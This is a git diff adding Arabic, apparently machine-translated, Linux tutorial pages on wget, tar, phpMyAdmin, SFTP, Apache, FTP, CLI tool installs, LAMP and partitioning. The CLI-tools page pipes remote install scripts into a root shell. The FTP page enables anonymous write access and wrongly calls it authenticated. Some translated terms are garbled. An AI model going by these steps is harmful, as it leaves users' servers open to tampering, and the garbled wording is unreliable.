+ `wget --limit-rate=100k http://ftp.gnu.org/gnu/wget/wget-1.5.3.tar.gz 
+` 
+
+يمكنك اللعب مع الميزات المتبقية من الأداة المساعدة `wget`
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/how-to-extract-or-decompress-a-compressed-file-in-linux/index.md b/client/src/guide/arabic/linux/how-to-extract-or-decompress-a-compressed-file-in-linux/index.md
new file mode 100644
index 0000000000..42d03e8e41
--- /dev/null
+++ b/client/src/guide/arabic/linux/how-to-extract-or-decompress-a-compressed-file-in-linux/index.md
@@ -0,0 +1,13 @@
+---
+title: How to extract or decompress a compressed file in Linux
+localeTitle: كيفية استخراج أو فك ضغط ملف مضغوط في لينكس
+---
+قبل استخراج البيانات من ملف مضغوط ، يجب أولاً تحديد نوع الملف المضغوط.
+
+## كيفية استخراج أو فك ضغط ملف مضغوط في لينكس
+
+الخطوة 1: معرفة نوع الملف `file File-Name`
+
+الخطوة 2: لفك ضغط ملف tar `tar xvf File-Name -C /Directory-Location`
+
+`We Use (-C) for specific directory if we do not use (-C) then it automatically extract to current directory.`
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/how-to-install-phpmyadmin-on-linux-ubuntu/index.md b/client/src/guide/arabic/linux/how-to-install-phpmyadmin-on-linux-ubuntu/index.md
new file mode 100644
index 0000000000..c414599ddd
--- /dev/null
+++ b/client/src/guide/arabic/linux/how-to-install-phpmyadmin-on-linux-ubuntu/index.md
@@ -0,0 +1,54 @@
+---
+title: How to install phpmyadmin on Linux (Ubuntu).
+localeTitle: كيفية تثبيت phpmyadmin على لينكس (أوبونتو).
+---
+# كيفية تثبيت phpmyadmin على لينكس (أوبونتو)
+
+يمكن إدارة خادم قاعدة بيانات [MySQL](https://en.wikipedia.org/wiki/MySQL) باستخدام سطر الأوامر ، عن طريق تشغيل الأوامر في الجهاز. ولكنه أكثر ملاءمة وأقل مللًا لاستخدام واجهة المستخدم الرسومية (GUI) - خاصة بالنسبة لأولئك الذين لا يشعرون بالراحة عند إدخال الأوامر على الجهاز.
+
+[phpMyAdmin](https://en.wikipedia.org/wiki/PhpMyAdmin) هو عبارة عن أداة مجانية ومفتوحة المصدر لبرامج واجهة المستخدم الرسومية (GUI) مكتوبة بلغة PHP وتهدف إلى التعامل مع إدارة MySQL عبر الويب. يدعم phpMyAdmin مجموعة واسعة من العمليات على MySQL [وإصداره](https://en.wikipedia.org/wiki/MariaDB) المدعوم من المجتمع - [MariaDB](https://en.wikipedia.org/wiki/MariaDB) .
+
+يمكن إجراء عمليات قاعدة البيانات المستخدمة بشكل متكرر (إدارة قواعد البيانات ، الجداول ، الأعمدة ، العلاقات ، الفهارس ، المستخدمين ، الأذونات ، إلخ) عبر واجهة المستخدم الرسومية ، بينما لا تزال لديك القدرة على تنفيذ أي عبارة SQL مباشرة. وأداء أيضا تصدير واستيراد البيانات في تنسيقات الملفات الشائعة (CSV ، SQL ، XML ، PDF ، Word ، Excel ، LaTeX وغيرها الكثير). يمكنك تثبيت phpMyAdmin Linux، windows و Mac OS (إنه نظام متعدد المنصات). لقد أصبحت واحدة من أكثر أدوات إدارة MySQL شعبية.
+
+في هذا المنشور ، سترى كيفية تثبيته على نظام تشغيل Linux. ولكن قبل أن نبدأ في التأكد من تثبيت Apache و MySQL و PHP على نظامك. إذا لم تتعلم كيفية القيام بذلك [هنا](https://fossnaija.com/install-lamp-server-linux-ubuntu/) .
+
+### تثبيت phpMyAdmin.
+
+*   افتح منصة Linux واستخدم مدير حزم البرامج في Ubuntu `apt` ،
+    
+    sudo apt-get install phpmyadmin
+    
+*   ثم يبدأ التثبيت. عند المطالبة ، حدد _"Apache2"_ من مربع الحوار **"تكوين phpMyAdmin". عند** طلب اسم مستخدم وكلمة مرور MySQL ، أدخل "root" لاسم المستخدم واختر كلمة المرور المناسبة لكلمة المرور.
+    
+*   بعد اكتمال التثبيت ، قم بتكوين phpMyAdmin ليتم التعرف عليه بواسطة خادم الويب المحلي. افتح ملف تكوين apache في محرر النصوص المفضل لديك ؛
+    
+     `sudo gedit /etc/apache2/apache2.conf 
+    ` 
+    
+    وإضافة السطر التالي في الجزء السفلي من الملف (يمكنك إضافته إلى أي مكان في الملف ، ما عليك سوى اختيار الأسفل هنا بحيث يمكنك الوصول إليه بسهولة لإجراء التعديل إذا لزم الأمر):
+    
+    `Include /etc/phpmyadmin/apache.conf`
+    
+*   ثم أعد تشغيل خادم الويب ؛
+    
+     `sudo service apache2 restart 
+    ` 
+    
+*   الآن أدخل عنوان url التالي في متصفحك.
+    
+    `https://localhost/phpmyadmin`
+    
+    يجب أن تشاهد صفحة تسجيل دخول لك لإدخال اسم المستخدم وكلمة المرور ، إذا لم تكن قد فعلت ذلك.
+    
+    **اسم المستخدم** = _الجذر_
+    
+    **كلمة المرور** = **كلمة المرور الخاصة** _بك _MYSQL__
+    
+
+إذا نجحت ، فستظهر لوحة البيانات phpMyAdmin. ثم يمكنك البدء في استخدام phpMyAdmin.
+
+### معلومات اكثر:
+
+*   للاطلاع على خطوات التثبيت الرسومية ، تحقق [هنا](https://fossnaija.com/install-phpmyadmin-linux-ubuntu/) .
+    
+*   [PhpMyAdmin وثائق التثبيت](https://docs.phpmyadmin.net/en/latest/setup.html) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/how-to-use-sftp-to-securely-transfer-files-with-a-remote-server/index.md b/client/src/guide/arabic/linux/how-to-use-sftp-to-securely-transfer-files-with-a-remote-server/index.md
new file mode 100644
index 0000000000..ac26aac55e
--- /dev/null
+++ b/client/src/guide/arabic/linux/how-to-use-sftp-to-securely-transfer-files-with-a-remote-server/index.md
@@ -0,0 +1,55 @@
+---
+title: How to Use SFTP to Securely Transfer Files with a Remote Server
+localeTitle: كيفية استخدام SFTP لنقل الملفات بشكل آمن مع خادم عن بعد
+---
+## كيفية استخدام SFTP لنقل الملفات بشكل آمن مع خادم عن بعد
+
+هذه المقالة عبارة عن برنامج تعليمي سريع حول كيفية استخدام بروتوكول نقل الملفات الآمن (SFTP) لتبادل الملفات مع خادم. هذا مفيد للبرمجة ، لأنه يسمح لك برمز واختبار محلي ، ثم إرسال عملك إلى الخادم عند الانتهاء.
+
+### اختبار SSH
+
+إذا لم تكن قد قمت بذلك بالفعل ، اختبر قدرتك على SSH في الخادم. تستخدم SFTP بروتوكول Secure Shell (SSH) ، لذلك إذا كنت غير قادر على SSH ، فلن تتمكن على الأرجح من SFTP.
+
+ `ssh your_username@hostname_or_ip_address 
+` 
+
+### بدء جلسة SFTP
+
+يستخدم هذا نفس بنية SSH ويفتح جلسة يمكنك فيها نقل الملفات.
+
+ `sftp your_username@hostname_or_ip_address 
+` 
+
+لإدراج أوامر مفيدة:
+
+ `help 
+` 
+
+### نقل الملفات والمجلدات
+
+لتنزيل ملف:
+
+ `get <filename> 
+` 
+
+لتنزيل مجلد ومحتوياته ، استخدم علامة "-r" (كما يعمل للتحميل):
+
+ `get -r <foldername> 
+` 
+
+لتحميل ملف:
+
+ `put <filename> 
+` 
+
+### تغيير المجلدات
+
+لتغيير المجلد المحلي:
+
+ `lcd <path/to/folder> 
+` 
+
+لتغيير المجلد البعيد:
+
+ `cd <path/to/folder> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/index.md b/client/src/guide/arabic/linux/index.md
new file mode 100644
index 0000000000..78613cfa0a
--- /dev/null
+++ b/client/src/guide/arabic/linux/index.md
@@ -0,0 +1,29 @@
+---
+title: Linux
+localeTitle: لينكس
+---
+![](https://upload.wikimedia.org/wikipedia/commons/3/35/Tux.svg)
+
+لينكس هو اسم يشير بشكل عام إلى عائلة من توزيعات نظام تشغيل البرامج المجانية والمفتوحة المصدر المبنية حول نظام التشغيل Linux نواة. المكون الأساسي لتوزيعة لينكس هو نواة لينكس ، وهي نواة لنظام التشغيل تم إصدارها لأول مرة في 17 سبتمبر ، 1991 من قبل لينوس تورفالدس. تستخدم العديد من توزيعات Linux كلمة "Linux" في اسمها. تستخدم مؤسسة البرمجيات الحرة الاسم جنو / لينكس للإشارة إلى عائلة نظام التشغيل ، بالإضافة إلى توزيعات محددة ، للتأكيد على أن معظم توزيعات لينكس ليست فقط نواة لينكس ، وأنهم يشتركون ليس فقط في النواة ، ولكن أيضا العديد من المرافق العامة والمكتبات ، نسبة كبيرة منها من مشروع جنو.
+
+يعد تطوير Linux أحد أبرز الأمثلة على التعاون في مجال البرمجيات الحرة والمفتوحة المصدر. المصدر الأساسي يجوز استخدام أو تعديل أو توزيع أي قانون تجاريًا أو غير تجاريًا بواسطة أي شخص بموجب شروط رخصته ، مثل مثل رخصة جنو العمومية العامة.
+
+تم بدء Linux كنسخة من نظام التشغيل MINIX. وأضاف المساهمون المصدر المفتوح على النواة وتوسيع نطاقها توافق الأجهزة. لقد جعل نظام Linux و الترخيص المجاني من Linux خيارًا شائعًا لحوسبة أجهزة سطح المكتب والخوادم في منتصف التسعينات. اليوم ، يعتبر Linux نظام التشغيل الأكثر شعبية في العالم. انها تمتلك 90 ٪ من خوادم العالم ، وهي أساس نظام تشغيل Android الشهير من Google.
+
+هناك أيضًا العديد من إصدارات Linux مصممة للتشغيل على أجهزة الكمبيوتر الشخصية ، مثل Debian أو Ubuntu. الأهم من ذلك ، هذه إصدارات مختلفة من لينكس (تسمى توزيعات) تسمح للمستخدم بدرجات متفاوتة من التخصيص والتحكم في التشغيل النظام. هذا يعني أنه يمكن للمستخدمين اختيار توزيعات Linux بناءً على رغباتهم واحتياجاتهم.
+
+هناك أيضا كالي لينكس الذي يستخدم لاختبار الاختراق المتقدم والتدقيق. لديها أكثر من 700 أداة ، لتكون قادرة على استخدامها بكفاءة سوف تحتاج إلى معرفة كيفية استخدام سطر الأوامر. لا ينصح للمبتدئين.
+
+التوزيعات الشعبية لنظام التشغيل Linux تشمل:
+
+*   أوبونتو
+*   لينكس النعناع
+*   سينت أو إس
+*   RHEL
+*   القوس لينكس
+
+يتم تقسيم أنواع الحزم بين التوزيعات عالية المستوى ، مع وجود Debian (.deb) و Red Hat (.rpm) وهما من أكثر التوزيعات استخدامًا ، ومع ذلك هناك آخرون بما في ذلك بكمن (المستخدمة في قوس لينكس) و PetGet (جرو لينكس).
+
+كما تأتي توزيعات لينكس في جميع الأشكال والحجم ، ومعظمها إن لم يكن جميعها توفر القدرة على التشغيل مباشرة عبر CD / DVD في ما هو معروف كبيئة "قرص مضغوط مباشر" أو حتى مباشرة عبر USB إذا كانت اللوحة الأم تدعم التشغيل من منفذ USB.
+
+لمزيد من الحقائق عن لينكس ، اقرأ مقال كوينسي لارسون [لينكس هو 25. Yay! دعونا نحتفل مع 25 حقائق مذهلة حول لينكس](https://medium.freecodecamp.org/linux-is-25-yay-lets-celebrate-with-25-rad-facts-about-linux-c8d8ac30076d) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/install-and-configure-apache-server-in-linux/index.md b/client/src/guide/arabic/linux/install-and-configure-apache-server-in-linux/index.md
new file mode 100644
index 0000000000..3b8c0c4137
--- /dev/null
+++ b/client/src/guide/arabic/linux/install-and-configure-apache-server-in-linux/index.md
@@ -0,0 +1,19 @@
+---
+title: Install and Configure Apache Server in Linux
+localeTitle: تثبيت وتكوين خادم أباتشي في لينكس
+---
+خادم Apache HTTP ، الذي يطلق عليه اسم Apache ، هو مجاني ومفتوح المصدر برنامج خادم الويب عبر منصة. تم تطوير Apache وصيانتها بواسطة مجتمع مفتوح للمطورين تحت رعاية مؤسسة Apache Software Foundation.
+
+## تثبيت وتكوين خادم أباتشي في لينكس
+
+الخطوة 1: تثبيت Apache Server `yum install httpd`
+
+الخطوة 2: تكوين http على شبكة الإنترنت `cd /etc/httpd/conf.d`
+
+الخطوة 3: إنشاء ملف تكوين مخصص بالملحق .conf. `vim *.conf`
+
+الخطوة 4: بدء تشغيل خادم Apache `systemctl start httpd.service`
+
+الخطوة 5: بدء تشغيل Apache Server تلقائيًا عند بدء تشغيل نظام التشغيل. `systemctl enable httpd.service`
+
+الخطوة 6: إضافة إذن جدار الحماية. `firewall-cmd --add-service=http --permanent`
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/install-and-configure-ftp-server-in-linux-redhat/index.md b/client/src/guide/arabic/linux/install-and-configure-ftp-server-in-linux-redhat/index.md
new file mode 100644
index 0000000000..cca8aae47b
--- /dev/null
+++ b/client/src/guide/arabic/linux/install-and-configure-ftp-server-in-linux-redhat/index.md
@@ -0,0 +1,33 @@
+---
+title: Install and configure FTP server in Redhat/Centos Linux
+localeTitle: قم بتثبيت وتكوين خادم FTP في Redhat / Centos Linux
+---
+## قم بتثبيت وتكوين خادم FTP في Redhat / Centos Linux
+
+FTP لتقف على بروتوكول نقل الملفات. كتبه Abhay Bhushan ونشرت كـ RFC 114 في 16 أبريل 1971. وهو مدعوم من قبل كل نظام التشغيل والمتصفحات. وهي مبنية على بنية خادم العميل.
+
+## قم بتثبيت وتكوين خادم FTP في Redhat / Centos Linux
+
+الخطوة 1: سنستخدم localhost لجهازنا لإعداد خادم ftp.
+
+الخطوة 2: قم بتثبيت الحزمة vsftpd (أمان بروتوكول نقل الملفات الخفي).
+
+`yum install -y vsftpd`
+
+الخطوة 3: بدء خادم FTP عند تشغيل النظام.
+
+`systemctl enable vsftpd.service`
+
+الخطوة 4: التحقق من حالة خادم ftp
+
+`systemctl status vsftpd.service`
+
+الخطوة 5: تكوين حزمة vsftpd. سنقوم بتحرير `/etc/vsftpd/vsftpd.conf`
+
+`Change the line which contain anonymous_enable=NO to anonymous_enable=YES` `This will give permit any one to access FTP server with authentication.` `Change the following to YES` `local_enable=YES` `write_enable=YES<br>`
+
+الخطوة 6: بدء خادم FTP `systemctl start vsftpd.service`
+
+الخطوة 7: تثبيت عميل FTP `yum install -y lftpd`
+
+الخطوة 8: قم بتوصيل ftp بـ localhost `lftp localhost`
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/installing-cli-tools-developers-should-not-live-without-on-linux-and-mac/index.md b/client/src/guide/arabic/linux/installing-cli-tools-developers-should-not-live-without-on-linux-and-mac/index.md
new file mode 100644
index 0000000000..3b0ce320e9
--- /dev/null
+++ b/client/src/guide/arabic/linux/installing-cli-tools-developers-should-not-live-without-on-linux-and-mac/index.md
@@ -0,0 +1,63 @@
+---
+title: Installing CLI Tools Developers Should not Live Without on Linux and Mac
+localeTitle: تثبيت مطوري أدوات CLI يجب ألا يعيشوا بدون Linux و Mac
+---
+هذه المقالة وصف قصير حول كيفية تثبيت الأدوات المساعدة لسطر الأوامر الأساسية التي يستخدمها المطورون يوميًا في بيئات Macintosh و Linux. أدوات CLI الرئيسية التي سيتم عرضها هي: Homebrew (Mac) و Node و NPM و Bower و Gulp و Grunt و Tmux.
+
+## تثبيت Homebrew (أنظمة Macintosh)
+
+Homebrew هو "مدير الحزم المفقودة لنظام التشغيل OS X". إنها أداة رائعة لتنزيل وتثبيت الحزم مباشرة من سطر الأوامر الخاص بك. لا توجد حاجة لذلك في توزيعات لينكس لأن لديهم بالفعل مديري حزم مثبتين بشكل افتراضي مثل `apt-get` أو `pacman` . لتثبيت تطبيق Homebrew ، ما عليك سوى لصق الأمر التالي في جهازك الطرفي:
+
+*   `/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"`
+
+في حالة تشغيل "Xcode Command Line Tools Missing" ، استخدم التالي لتثبيته:
+
+*   `xcode-select --install`
+
+## تثبيت الآلية الوقائية الوطنية
+
+`NPM` ، أو Node Package Manager ، هو مدير حزم آخر مفيد لتحميل معظم أدوات الويب. يقوم تنزيل `NPM` أيضًا بتثبيت إطار عمل Node.js.
+
+### ماك:
+
+*   استخدام نوع `Homebrew` : يجب `brew install node` و `NPM` .
+
+### لينكس:
+
+*   باستخدام `apt-get` النوع الأول: `curl -sL https://deb.nodesource.com/setup_6.x | sudo -E bash -` ، ثم `sudo apt-get install nodejs`
+*   باستخدام نوع `pacman` : `pacman -S nodejs npm`
+*   استخدام نوع `yum` : `sudo yum install nodejs npm`
+*   باستخدام `dnf` نوع: `sudo dnf install nodejs`
+*   باستخدام نوع `zypper` : `sudo zypper install nodejs6`
+
+## تثبيت Bower
+
+Bower هو مدير حزم شائع يسمح لك بتثبيت مكتبات الواجهة الأمامية. يمكنك تثبيته على أنظمة Linux و Macintosh باستخدام `npm` باستخدام الأمر التالي:
+
+*   `npm install -g bower` (الأمر نفسه لكل من Linux و OS X)
+
+## تثبيت Gulp
+
+`Gulp` هي عبارة عن إطار عمل و أداة CLI التي تجعل التطوير أسرع وأكثر إمتاعًا من خلال أتمتة المهام التي يجدها مطورو البرامج بأنفسهم ، ومرة ​​أخرى. أيضا، يمكنك تثبيت `Gulp` من خلال `npm` :
+
+*   `npm install -g gulp-cli`
+
+وفي مجلدات المشاريع الفردية:
+
+*   `npm install --save-dev gulp`
+
+## تثبيت النخير
+
+`Grunt` هي أداة أتمتة شائعة أخرى مشابهة لـ `Gulp` . لتثبيته ، استخدم `npm` مرة أخرى:
+
+*   `npm install -g grunt-cli`
+
+## تثبيت Tmux
+
+`Tmux` هو معدد محطة طرفية لـ Linux و Mac. فهو يمنحك القدرة على الحصول على جلسات ونوافذ متعددة في نفس نافذة Bash ، كما يتيح لك "فصل" الجلسات التي يمكنك الاتصال بها من خلال SSH ، مع ترك جميع البرامج التي كانت قيد التشغيل حاليًا.
+
+للتثبيت على Linux:
+
+*   `sudo apt install tmux`
+
+وهذا هو الذي! مع هذه الأدوات ستكون عملية التطوير والمحتوى الخاص بك ممتعة وفعالة. كما ترى ، فإن الأداة الرئيسية التي يجب تثبيتها هي `npm` وهي تسمح لك بتثبيت العديد من أدوات CLI الرائعة الأخرى الموجهة نحو الويب.
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/lamp-stack/index.md b/client/src/guide/arabic/linux/lamp-stack/index.md
new file mode 100644
index 0000000000..84bf81e400
--- /dev/null
+++ b/client/src/guide/arabic/linux/lamp-stack/index.md
@@ -0,0 +1,23 @@
+---
+title: The Linux, Apache, MySQL, and PHP Stack
+localeTitle: Linux و Apache و MySQL و PHP Stack
+---
+## LAMP Stack
+
+أحد أكثر التوصيفات شيوعًا لخادم Linux هو مكدس LAMP ، الذي سمي بعد أكثر المكونات استخدامًا (Linux و Apache و MySQL و PHP). إن رزمة LAMP القياسية مفتوحة المصدر ومتاحة وموثقة بدقة ، وتوفر منصة مرنة وموحدة وآمنة لتطوير تطبيقات الويب والموقع.
+
+### لينكس
+
+عادةً ما يكون مكون نظام التشغيل في مكدس LAMP توزيعًا لـ Linux ، والعديد من توزيعات Linux الشائعة مثل Ubuntu و Red Hat تحتوي على طرق شبه آلية لتثبيت المكونات الأخرى وتكوينها. عندما يتم استبدال نظام التشغيل Mac OSX بنظام Linux ، يشار أحيانًا إلى المكدس الناتج باسم مكدس MAMP. وبالمثل ، عند إنشاء بنية تخزين العناصر في بيئة Windows ، يشار إليها أحيانًا باسم مكدس WAMP.
+
+### أباتشي
+
+عادةً ما يكون مكوّن خادم الويب في المكدس Apache ، وهو خادم الويب الأكثر شعبية على الإنترنت. اعتبارًا من يونيو 2014 ، قدرت خدمات Apache بنسبة 52.27٪ من جميع مواقع الويب النشطة. في السنوات الأخيرة ، اختارت العديد من sysadmins ومطوري الويب استبدال Apache بـ nginx ، وهو خادم ويب يمكن أن يكون أكثر سرعة وأسرع في بعض الحالات. ويشار أحيانًا إلى المكدس الناتج باسم مكدس LEMP.
+
+### الخلية
+
+طبقة نظام إدارة قواعد البيانات العلائقية (RDBMS) من كدسة LAMP هي MySQL. في بعض الأحيان يتم استبداله ب MariaDB ، أو شوكة الأداء من MySQL ، أو حتى قواعد البيانات غير ذات الصلة مثل قواعد بيانات PostgreSQL أو NoSQL مثل MongoDB.
+
+### PHP
+
+لغة برمجة الخادم أو الطبقة الوسيطة من مكدس LAMP عادةً ما تكون PHP ، على الرغم من أنه تم استبدالها (أو استخدامها جنبًا إلى جنب) Python أو Perl أو لغات أخرى.
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/linux-brief-history/index.md b/client/src/guide/arabic/linux/linux-brief-history/index.md
new file mode 100644
index 0000000000..7fb6552cdc
--- /dev/null
+++ b/client/src/guide/arabic/linux/linux-brief-history/index.md
@@ -0,0 +1,19 @@
+---
+title: Linux Brief History
+localeTitle: تاريخ موجز لينكس
+---
+## لينكس باختصار
+
+غنو / لينكس (المعروف عادة باسم لينكس فقط) هو نظام تشغيل مجاني ومفتوح المصدر وقابل للتخصيص يعتمد على أدوات لينوكس و GNU والمكتبات. تم تطويره من قبل آلاف المطورين ويستخدمه ملايين الأشخاص والشركات والحكومات في جميع أنحاء العالم. وهو حل بديل لنظام التشغيل الآخر مثل Windows و Mac OSX ولديه العديد من التوزيعات أو "النكهات" المختلفة. بعض التوزيعات الأكثر شعبية هي Ubuntu و Red Hat Enterprise Linux (RHEL) و Debian و Fedora و CentOS و OpenSuSE و Arch و Mint و Solus. وهو يشتمل على برامج موجودة في أنظمة التشغيل الأخرى للمهام الشائعة مثل تشغيل تطبيقات المكاتب والوسائط المتعددة والرسومات والألعاب. كما يوفر أدوات قوية للبرمجة وتطوير الويب. تم تصميم Linux ليعمل على أجهزة الكمبيوتر المكتبية والخوادم وأجهزة Internet Of Things والأجهزة المحمولة (Android).
+
+## من اخترع لينكس؟
+
+لينكس ينمو كفكرة في ذهن الشباب ومشرق **لينوس Torvalds** عندما كان طالب علوم الكمبيوتر. اعتاد العمل على نظام التشغيل UNIX (البرمجيات الاحتكارية) واعتقد أنها بحاجة إلى تحسينات. ومع ذلك ، عندما رفض مصممو يونيكس اقتراحاته ، فكر في إطلاق نظام التشغيل الذي سيتقبل التغييرات ، والتعديلات التي اقترحها مستخدموه. لذا ابتكر لينوس نواة اسمها لينكس في عام 1991. على الرغم من أنه سيحتاج إلى برامج مثل File Manager ، و Document Editors ، وبرامج Audio -Video لتشغيلها. مع مرور الوقت ، تعاون مع مبرمجين آخرين في أماكن مثل معهد ماساتشوستس للتكنولوجيا وبدأت تطبيقات لينكس في الظهور. لذلك ، في عام 1991 ، تم إطلاق نظام تشغيل Linux يعمل مع بعض التطبيقات رسميًا ، وكان هذا بداية أحد أكثر خيارات نظام التشغيل المتاحة والمفتوحة اليوم المتوفرة. لم تكن الإصدارات السابقة من لينكس سهلة الاستخدام كما كانت تستخدم من قبل مبرمجي الكمبيوتر ولم يضعها لينوس تورفالدز نصب أعينها لتسويق منتجه. وقد أدى هذا إلى الحد من شعبية نظام التشغيل Linux نظرًا لأن نظام التشغيل Windows المعروف تجارياً قد حظي بشهرة كبيرة. ومع ذلك ، فإن المظهر المفتوح المصدر لنظام التشغيل Linux جعله أكثر قوة.
+
+#### معلومات اكثر:
+
+[لينكس على ويكيبيديا](https://en.wikipedia.org/wiki/Linux)
+
+[Kernel.org - موقع Linux kernel الرسمي](https://www.kernel.org/)
+
+[Distrowatch - المرجع لتوزيعات لينكس](http://distrowatch.com)
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/local-lamp-server-on-ubuntu/index.md b/client/src/guide/arabic/linux/local-lamp-server-on-ubuntu/index.md
new file mode 100644
index 0000000000..e2318a8d84
--- /dev/null
+++ b/client/src/guide/arabic/linux/local-lamp-server-on-ubuntu/index.md
@@ -0,0 +1,59 @@
+---
+title: local-lamp-server-on-ubuntu
+localeTitle: محلي مصباح خادم على أساس أوبونتو
+---
## خادم LAMP المحلي على Ubuntu
+
+الغرض من هذا الدليل الموجز هو أن تأخذك خلال عملية إعداد خادم LAMP (Linux ، Apache ، MySQL ، PHP) على جهاز Ubuntu Linux المحلي أو الجهاز الظاهري. هذا سيسمح للمطور بالتطوير باستخدام PHP و MySQL (مع phpMyAdmin). هذا هو مكدس شائع ضروري لتطوير وورد.
+
+### قم بتثبيت الحزم الضرورية
+
+ستحتاج إلى تثبيت الحزم التالية لخادم LAMP. يمكنك تثبيتها كلها مرة واحدة بفصل كل حزمة بمسافة ، أو واحدة في كل مرة كما هو موضح. أنا أفضل تنزيل واحد في كل مرة لأنه من الأسهل معرفة ما إذا كان هناك أي أخطاء. أدخل المحطة واكتب ما يلي:
+
+*   `sudo apt-get install apache2`
+*   `sudo apt-get install php`
+*   `sudo apt-get install php-mysql`
+*   `sudo apt-get install mysql-server`
+
+يجب حينئذٍ مطالبتك بتعيين كلمة مرور لمستخدم الجذر MySQL. بعد الانتهاء من تثبيت كلمة المرور ، قم بتثبيت:
+
+*   `sudo apt-get install libapache2-mod-php`
+*   `sudo apt-get install php-mcrypt`
+*   `sudo apt-get install phpmyadmin`
+
+يجب أن تتم مطالبتك بعد ذلك باستخدام الخادم لتحديد apache بالضغط على Enter. اختر لا لإعداد الخادم المتقدم.
+
+### تغيير الأذونات إلى / var / www / html
+
+لكي يتم تشغيل البرامج النصية وملفات php بواسطة خادم LAMP ، يجب حفظها في الدليل var / www / html. يمكنك التفكير في هذا الموقع كخادم محلي لديك. من أجل إجراء تغييرات على هذا الدليل ، نحتاج إلى تغيير الأذونات عليه. في المحطة أدخل الأمر:
+
+*   `sudo chown {your ubuntu username} /var/www/html`
+
+### قم بإنشاء ارتباط رمزي لـ phpMyAdmin
+
+افتراضيًا ، يتم تثبيت phpMyAdmin في الدليل / usr / share /. نحن بحاجة إلى نقله إلى دليل الخادم المحلي لدينا. ننتقل إلى دليل الخادم الذي نريد الارتباط به من خلال:
+
+*   `cd /var/www/html`
+
+ثم قم بإنشاء الرابط عن طريق إدخال الأمر:
+
+*   `ln -s /usr/share/phpmyadmin phpmyadmin`
+
+### إعادة تشغيل اباتشي والاختبار
+
+قم بتشغيل الأمر التالي لإعادة تشغيل Apache وإعداد التغييرات التي تم إجراؤها:
+
+*   `sudo systemctl restart apache2`
+
+يجب أن تتمكن بعد ذلك من إنشاء ملف info.php في الدليل / var / www / html.
+
+*   `touch /var/www/html/info.php`
+
+في نوع الملف ، رمز PHP التالي:
+
+*   `<?php phpinfo(); ?>`
+
+ثم افتح متصفحًا واكتب in localhost / info.php يجب أن تشاهد صفحة من ملف php الذي كتبته للتو والتي تمنحك معلومات عن php.
+
+أخيرًا ، للوصول إلى phpMyAdmin ، انتقل إلى localhost / phpmyadmin في متصفحك. اسم المستخدم root defualt هو "root" وكلمة المرور هي كلمة المرور التي اخترتها في وقت سابق لقاعدة بيانات MySQL.
+
+### معلومات اكثر
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/making-partitions-in-linux/index.md b/client/src/guide/arabic/linux/making-partitions-in-linux/index.md
new file mode 100644
index 0000000000..1b3afca8a6
--- /dev/null
+++ b/client/src/guide/arabic/linux/making-partitions-in-linux/index.md
@@ -0,0 +1,185 @@
+---
+title: Partitions
+localeTitle: الأقسام
+---
## PARTITIONS
+
+*   بدون إنشاء أقسام في القرص الصلب ، لا يمكننا إنشاء مجلد.
+    
+*   أقسام في لينكس
+    
+    *   **مدافع**
+    *   **df -h** (قراءة بشرية)
+*   يظهر حجم في MiB ، GiB
+    
+*   **lvdisplay**
+    
+*   يعرض معلومات حول تقسيم القرص -
+    
+*   **fdisk -l**
+    
+*   **fdisk -l / dev / sda** (sda هو اسم القرص الثابت)
+    
+*   لمزاولة التقسيم ، قم بإدخال القرص الثابت الظاهري في Linux باستخدام المربع الظاهري.
+    
+*   بعض النقاط تذكر
+    
+*   القرص الصلب لا يفهم GB أو MB ، انها وحدة القطاع.  
+    1 قطاع = 512 بايت.  
+    للعثور على الحجم الفعلي للقرص الصلب ، ابحث عن عدد القطاعات \* 512.  
+    يخصص المساحة في القرص الثابت في القطاعات.
+    
+*   يمكن إنشاء 4 أقسام فقط في قرص صلب واحد.
+    
+
+  
+
+## جعل الحزم في القرص الصلب
+
+1.  يفتح موجه القرص الثابت.
+    
+    *   **fdisk / dev / sdb**
+2.  معلومات أقسام الطباعة من القرص الثابت.
+    
+    *   **ص**
+3.  قم بإنشاء قسم جديد.
+    
+    *   **ن**
+4.  اختر القسم الأساسي.
+    
+5.  اضغط 1 (القسم الأول)
+    
+6.  محجوزة بعض القطاعات (0-2047 = 2048 القطاعات = 1 ميغابايت) في القرص الثابت.
+    
+7.  تبدأ المساحة الفعلية مع القطاع 2048.
+    
+8.  **\+ 1G**
+    
+9.  إنشاء 4 أقسام مثل هذا.
+    
+10.  بعد التقسيم الرابع لا يمكنك إنشاء المزيد من الأقسام.
+    
+11.  اضغط على **w** للحفظ.
+    
+12.  اضغط **q** لإنهاء دون حفظ أي قسم. سيؤدي هذا إلى إزالة كافة الأقسام التي تم إجراؤها نظرًا لأنها مؤقتة.
+    
+13.  لحذف القسم -
+    
+    *   **د**
+
+  
+
+## لماذا هناك حدود 4؟
+
+*   لأنه حيث نقوم بتخزين المعلومات من الأقسام ، يتم إصلاح بيانات تعريف الأقسام ، و 64 بايت. يتم تخزين هذه المعلومات في جدول الأقسام.
+*   يتطلب 1 قسم 16 بايت بحيث يمكن إنشاء 4 أقسام فقط.
+*   في 1 ميغابايت (2048 قطاعًا) محجوز في القرص الثابت ، يتم حجز 64 بايت لتخزين هذه المعلومات.
+*   لرؤية جدول التقسيم
+*   **fdisk -l**
+*   عندما نستخدم القرص الصلب لأول مرة ، يتم تهيئته أو تنسيقه. يقرر هذا التنسيق عدد الأقسام في القرص الثابت.
+*   يقوم نظام التشغيل بإنشاء تنسيق القرص الثابت عند بدء تشغيله لأول مرة ، ويقرر هذا التنسيق عدد الأقسام.
+*   تنسيق القسم الذي نستخدمه هو تنسيق DOS = 64 بايت
+*   تنسيق GPT = 128 يمكن إنشاء أقسام.
+*   جدول التقسيم -> التنسيق: DOS -> 4 أقسام
+*   جدول التقسيم -> التنسيق: GPT -> 128 أقسام
+
+  
+
+## زيادة عدد الاقسام
+
+*   إنشاء جدول قسم جديد في القرص الثابت.
+    
